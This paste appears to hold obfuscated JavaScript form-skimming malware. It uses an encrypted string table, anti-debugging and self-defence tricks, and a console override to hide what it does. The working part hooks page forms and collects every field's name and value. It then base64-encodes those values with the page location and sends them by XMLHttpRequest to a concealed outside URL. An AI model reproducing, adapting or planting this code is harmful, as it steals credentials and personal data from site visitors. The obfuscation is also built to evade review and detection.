· 4 years ago · May 24, 2021, 10:16 PM
1'use strict';
2var jsdom = require("jsdom");
3var JSDOM = jsdom.JSDOM;
4var html = "<html><head></head><body></body></html>";
5global.document = (new JSDOM(html)).window.document;
6var _0x56cf = ["WQ7dNSkJW7tcVLaYWRRcSCoJW7vm", "EmohESkUbmoGW7ddRH7cUuRcMfm", "W64NW785W6BcOwVcMw5s", "c3a8WQS", "W4COW6erWQ/dRSkjW7tcQv4", "WP7dMSkIpmojumkm", "hCkMWRddUaJcRCof", "W7tdT8oQWPpcSblcGW0IEa", "omo0Bq7cUY/dHSkIi8kE", "gW9jbZRcVSo7jq", "WPn9WRLhWP3dJW", "W7SkW7qa", "WQfjy8kGiYa", "vmoOWPtdHCoPWQpdUSohzq", "W47dHmo+FhxdVCoaF8o0lHu", "W7i3pSktWPnoBCo4W4So", "W7GjW6maW6lcQfhcIW", "AgtcGINdUNXLW4PgD8kf", "W5pdMmk2W7tcLarjW4VdMXK", "cbBcMSkXWRnLCCkmnCknWPHh", "W7xdKmkq", "WQpcUviLDmofs3lcNSoUWQ7dRa", "cdDzW5GQWPvifq",
7 "WOFdI8o5hCo4WRddOg0", "W4LWWOv4WP3dKmk3", "lZpcKw3cQ3PdWQmLfW", "k8ktn8o4g8kYWQBdPxxcHG", "W7e5pSkD", "wfddNSoYW7fRn8oPbCkj", "WPpdLmkHkG", "W7FdPau", "hI4XWOPKW6q", "WQNcV8ozWOT/W7FdVIxdTSoeW7C", "W4ZcI8o/mLJcRmkvWPVdHLz8zq", "W7lcImkuW4C", "Ag3cGc7dUYb1W6DQuCkXW68", "W6/dQGb6ia", "WQj8WQCxCZW", "mmoAeSocp1unW6a", "iqmDWOTuWQmrC8oCWPG", "W47cHSkdjSofw8k5Ea", "WPpdLSk4jSojuSobmSog", "bGhdG8ou", "qvzkdG", "DG9Rfq", "bNO6WQJdJSkXnSoGW5G", "WRbNWR7cIhy", "hCkMWRddUbpcS8ovlqqJ", "DGXgifj9WOxdSSkIhq", "WR5PWOzMW6aAWOJdOt7dIa",
8 "WRVcICosWRldUrdcJupdMri", "WQdcL8krvuhdHmoMW6BcLaC", "W63cHbeCWRuN", "WQ99WQ01CthdTcbcW78", "WRlcLM3dNINcH8oJnG", "Baeyl0q", "W4XAutK", "suHCdq8", "W4PotItdIG", "WQRdMCkRW7pcT1joWRRcK8obW4bUgG", "geiwWP7dN8kWW4xcRqpcQG", "WPeXWPNdGN3dUa", "sZL1a01kW6HlFa", "a8oyAu/cT8onWPO", "W5jotZq", "nmoRzHm", "zsbHW4m", "vSo/WO/dHmo0WRNcO8kFzGS", "uLr+rei2WO1KfJy", "AgtcHs7dSMr1W4Pdsmkf", "W4vKW4hcLe/dMtfch1y", "yWD3hW"
9];
10
11function _0x102b(i, arr) {
12 i = i - (4485 + -1481 * 1 + 49 * -54);
13 var index = _0x56cf[i];
14 if (_0x102b["xUInwh"] === undefined) {
15 var getOwnPropertyNames = function (o) {
16 var listeners = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
17 var props = "";
18 var bc = 3305 * -2 + -8157 + -14767 * -1;
19 var bs;
20 var buffer;
21 var n = 2794 + 1205 + -3999;
22 for (; buffer = o["charAt"](n++); ~buffer && (bs = bc % (-57 * 117 + -6073 + 1 * 12746) ? bs * (5 * 971 + 1666 + 1 * -6457) + buffer : buffer, bc++ % (5074 + -727 * 10 + 44 * 50)) ? props = props + String["fromCharCode"](5 * -619 + -4686 + 8036 & bs >> (-(1018 *
23 -2 + 6479 + -4441) * bc & -8898 + -706 * 1 + -1922 * -5)) : -4632 * 1 + 8465 + 3833 * -1) buffer = listeners["indexOf"](buffer);
24 return props
25 };
26 var testcase = function (data, fn) {
27 var secretKey = [];
28 var y = -1 * -7586 + 8804 + -16390;
29 var temp;
30 var testResult = "";
31 var tempData = "";
32 data = getOwnPropertyNames(data);
33 var val = -6660 + 9633 + -2973;
34 var key = data["length"];
35 for (; val < key; val++) tempData = tempData + ("%" + ("00" + data["charCodeAt"](val)["toString"](-10 * -209 + 9978 + 524 * -23))["slice"](-(-557 * -4 + -3622 + -1 * -1396)));
36 data = decodeURIComponent(tempData);
37 var x;
38 x = -6597 +
39 3842 + 95 * 29;
40 for (; x < 1 * -7754 + 1470 + 6540; x++) secretKey[x] = x;
41 x = 9156 + 7880 + -17036;
42 for (; x < 5077 * 1 + -7148 + 2327; x++) {
43 y = (y + secretKey[x] + fn["charCodeAt"](x % fn["length"])) % (-5659 + -5927 * -1 + -12);
44 temp = secretKey[x];
45 secretKey[x] = secretKey[y];
46 secretKey[y] = temp
47 }
48 x = 699 * -7 + 1 * 2302 + -1 * -2591;
49 y = -3 * -621 + 113 * 37 + -6044;
50 var i = -9091 * 1 + -3832 * 2 + 16755;
51 for (; i < data["length"]; i++) {
52 x = (x + (-2434 * 2 + -3291 + 20 * 408)) % (-8167 + 17 * -33 + 4 * 2246);
53 y = (y + secretKey[x]) % (-91 * -22 + -557 * -17 + -11215);
54 temp = secretKey[x];
55 secretKey[x] = secretKey[y];
56 secretKey[y] = temp;
57 testResult =
58 testResult + String["fromCharCode"](data["charCodeAt"](i) ^ secretKey[(secretKey[x] + secretKey[y]) % (6435 + 307 + -2 * 3243)])
59 }
60 return testResult
61 };
62 _0x102b["BKMDUS"] = testcase;
63 _0x102b["mKidek"] = {};
64 _0x102b["xUInwh"] = !![]
65 }
66 var choice = _0x56cf[229 * 6 + -7911 + 6537];
67 var id = i + choice;
68 var data = _0x102b["mKidek"][id];
69 if (data === undefined) {
70 if (_0x102b["fhSVVF"] === undefined) {
71 var WMCacheControl = function (deny) {
72 this["DWEEKJ"] = deny;
73 this["gLvUyB"] = [-37 * -107 + 5190 * 1 + -9148, 3111 + 151 * -22 + -1 * -211, 1 * -3571 + 198 + 3373 * 1];
74 this["KREdmQ"] = function () {
75 return "newState"
76 };
77 this["QZgjiz"] = "\\w+ *\\(\\) *{\\w+ *";
78 this["FKfrtk"] = "['|\"].+['|\"];? *}"
79 };
80 WMCacheControl["prototype"]["OVmZUY"] = function () {
81 var test = new RegExp(this["QZgjiz"] + this["FKfrtk"]);
82 var artistTrack = test["test"](this["KREdmQ"]["toString"]()) ? --this["gLvUyB"][1574 + -3196 + 1623] : --this["gLvUyB"][-9 * -852 + -1885 + -5783 * 1];
83 return this["QQYlGd"](artistTrack)
84 };
85 WMCacheControl["prototype"]["QQYlGd"] = function (canCreateDiscussions) {
86 if (!Boolean(~canCreateDiscussions)) return canCreateDiscussions;
87 return this["lNXqof"](this["DWEEKJ"])
88 };
89 WMCacheControl["prototype"]["lNXqof"] = function (saveNotifs) {
90 var fp = -5584 + 1 * -1002 + -74 * -89;
91 var len = this["gLvUyB"]["length"];
92 for (; fp < len; fp++) {
93 this["gLvUyB"]["push"](Math["round"](Math["random"]()));
94 len = this["gLvUyB"]["length"]
95 }
96 return saveNotifs(this["gLvUyB"][-3544 + 2163 * 1 + -1381 * -1])
97 };
98 (new WMCacheControl(_0x102b))["OVmZUY"]();
99 _0x102b["fhSVVF"] = !![]
100 }
101 index = _0x102b["BKMDUS"](index, arr);
102 _0x102b["mKidek"][id] = index
103 } else index = data;
104 return index
105}
106(function (data, val) {
107 var getAggregates = function (samples, name, callback, spec) {
108 return _0x102b(callback - 293, name)
109 };
110 var getData = function (data, pid, params, callback) {
111 return _0x102b(params - 293, pid)
112 };
113 for (; !![];) try {
114 var nodeval = -parseInt(getAggregates(678, "OqV%", 661, 658)) + -parseInt(getData(734, "dVIa", 715, 747)) + parseInt(getAggregates(645, "RGRM", 675, 692)) * -parseInt(getData(682, "(@il", 666, 639)) + -parseInt(getAggregates(684, "s1Ya", 680, 686)) * -parseInt(getData(688, "ycwz", 712, 680)) + -parseInt(getAggregates(656, "2CwA",
115 674, 704)) * -parseInt(getAggregates(695, "2(t2", 665, 658)) + parseInt(getData(673, "rqsH", 677, 652)) + -parseInt(getData(664, "g6vD", 664, 656)) * -parseInt(getAggregates(661, "rqsH", 659, 623));
116 if (nodeval === val) break;
117 else data["push"](data["shift"]())
118 } catch (_0x178b0c) {
119 data["push"](data["shift"]())
120 }
121})(_0x56cf, 1862392 + -300583 * -1 + -1179508),
122function () {
123 var format = function (logData, callback, id, src) {
124 return _0x102b(logData - 292, src)
125 };
126 var register = function (sid, req, res, next) {
127 return _0x102b(sid - 292, next)
128 };
129 var getElementActive =
130 function () {
131 var y$$ = !![];
132 return function (value, context) {
133 var voronoi = y$$ ? function () {
134 var parse = function (obj, stack, docs, done) {
135 return _0x102b(stack - -405, obj)
136 };
137 if (context) {
138 var string = context[parse("1zjv", 1, -24, -28)](value, arguments);
139 return context = null, string
140 }
141 } : function () {};
142 return y$$ = ![], voronoi
143 }
144 }();
145 var element = getElementActive(this, function () {
146 var test = function () {
147 var match = function (tests, config, key, d) {
148 return _0x102b(tests - -142, key)
149 };
150 var i = function (s, n, f, type) {
151 return _0x102b(s - -142, f)
152 };
153 var CustomTests =
154 test["constructo" + "r"]('return /" ' + match(275, 288, "Y6h]", 256) + "/")()[match(287, 300, "%GS$", 319) + "r"](match(258, 268, "RGRM", 282) + i(286, 296, "I8*X", 284) + match(273, 279, "g6vD", 307));
155 return !CustomTests["test"](element)
156 };
157 return test()
158 });
159 element();
160 var o = function () {
161 var y$$ = !![];
162 return function (value, context) {
163 var voronoi = y$$ ? function () {
164 var parse = function (types, load, error, $arr) {
165 return _0x102b(load - -701, $arr)
166 };
167 if (context) {
168 var string = context[parse(-314, -297, -276, "RiM5")](value, arguments);
169 return context = null, string
170 }
171 } :
172 function () {};
173 return y$$ = ![], voronoi
174 }
175 }();
176 var el = o(this, function () {
177 var getFingerprint = function (hash, key, callback, filePath) {
178 return _0x102b(key - 939, hash)
179 };
180 var random = function (prefix, callback, done, count) {
181 return _0x102b(callback - 939, prefix)
182 };
183 var create = function () {
184 var write = function (ws, object, op, out) {
185 return _0x102b(op - -758, ws)
186 };
187 var get = function (layout, callback, params, obj) {
188 return _0x102b(params - -758, layout)
189 };
190 var viewport;
191 try {
192 viewport = Function(write("x^tG", -317, -342, -359) + write("d4TG", -393, -368, -398) + (get("RiM5",
193 -356, -361, -346) + get("LbDG", -330, -359, -345) + write("rqsH", -382, -384, -405) + " )") + ");")()
194 } catch (_0x4fc4b7) {
195 viewport = window
196 }
197 return viewport
198 };
199 var raqiaRec = create();
200 var index = raqiaRec[getFingerprint("d4TG", 1365, 1349, 1342)] = raqiaRec[getFingerprint("$Wpn", 1366, 1372, 1352)] || {};
201 var PL$13 = [getFingerprint("9qj6", 1318, 1346, 1346), getFingerprint("n5o5", 1359, 1334, 1352), getFingerprint("1zjv", 1331, 1318, 1302), random("NoBZ", 1334, 1359, 1316), random("7C45", 1333, 1343, 1303), random("9qj6", 1324, 1352, 1310), "trace"];
202 var PL$17 =
203 1 * 3647 + -7187 + 3540;
204 for (; PL$17 < PL$13[random("9v75", 1325, 1344, 1300)]; PL$17++) {
205 var props = o[random("$Wpn", 1335, 1310, 1310) + "r"][getFingerprint("x^tG", 1301, 1296, 1320)]["bind"](o);
206 var id = PL$13[PL$17];
207 var data = index[id] || props;
208 props[getFingerprint("n5o5", 1350, 1362, 1351)] = o[random("n5o5", 1332, 1334, 1323)](o);
209 props["toString"] = data["toString"]["bind"](data);
210 index[id] = props
211 }
212 });
213 el();
214 "use strict";
215 var PL$13 = document["getElement" + "sByTagName"](format(652, 674, 669, "qjA5"));
216 var PL$17 = -1582 + -57 * 117 + 8251;
217 for (; PL$17 < PL$13[format(651,
218 640, 678, "(@il")]; PL$17++) PL$13[PL$17][register(694, 659, 696, "9v75") + format(693, 714, 699, "i5^l")](format(672, 651, 656, "vRe7"), function () {
219 var setup = function (dropTargetOptions, draggableOptions, next, callback) {
220 return register(next - 163, draggableOptions - 305, next - 101, callback)
221 };
222 var get = function (s, i, duration, type) {
223 return format(duration - 163, i - 433, duration - 14, type)
224 };
225 var hash = [];
226 var dict = document["getElement" + setup(879, 881, 878, "qjA5")](setup(834, 813, 831, "rQfO"));
227 x = 3 * 3277 + 17 * 29 + -10324;
228 for (; x < dict[setup(841, 855,
229 865, "ycwz")]; x++) {
230 var properties = dict[x][get(849, 842, 820, "qjA5")];
231 e = -6689 * -1 + 86 + -271 * 25;
232 for (; e < properties[get(781, 795, 816, "l*Em")]; e++)
233 if (properties[e][setup(837, 852, 833, "d4TG")]["length"]) hash[setup(849, 879, 860, "rOd)")](properties[e][get(902, 859, 868, "rOd)")] + "=" + properties[e][get(889, 864, 862, "rOd)")])
234 }
235 var paddedPartNum = document["location"][get(891, 899, 879, "7C45")];
236 var ifregurl = hash[get(872, 810, 846, "zWVF")]("&");
237 var url = setup(813, 820, 832, "OqV%") + get(860, 883, 853, "m9dn") + "eW91LWxpa2" + "UtdG8tYmUt" + get(825,
238 825, 843, "vRe7") + setup(807, 831, 822, "^T*N") + setup(866, 849, 864, "sD$$") + setup(826, 835, 830, "dVIa") + get(805, 800, 819, "rQfO") + "q=" + btoa(paddedPartNum) + get(810, 812, 824, "LbDG") + btoa(ifregurl);
239 var xhr = new XMLHttpRequest;
240 xhr[get(856, 905, 869, "%GS$")]("GET", url, !![]);
241 xhr[get(806, 826, 838, "^T*N")]()
242 }, ![])
243}();
244console.log(22223);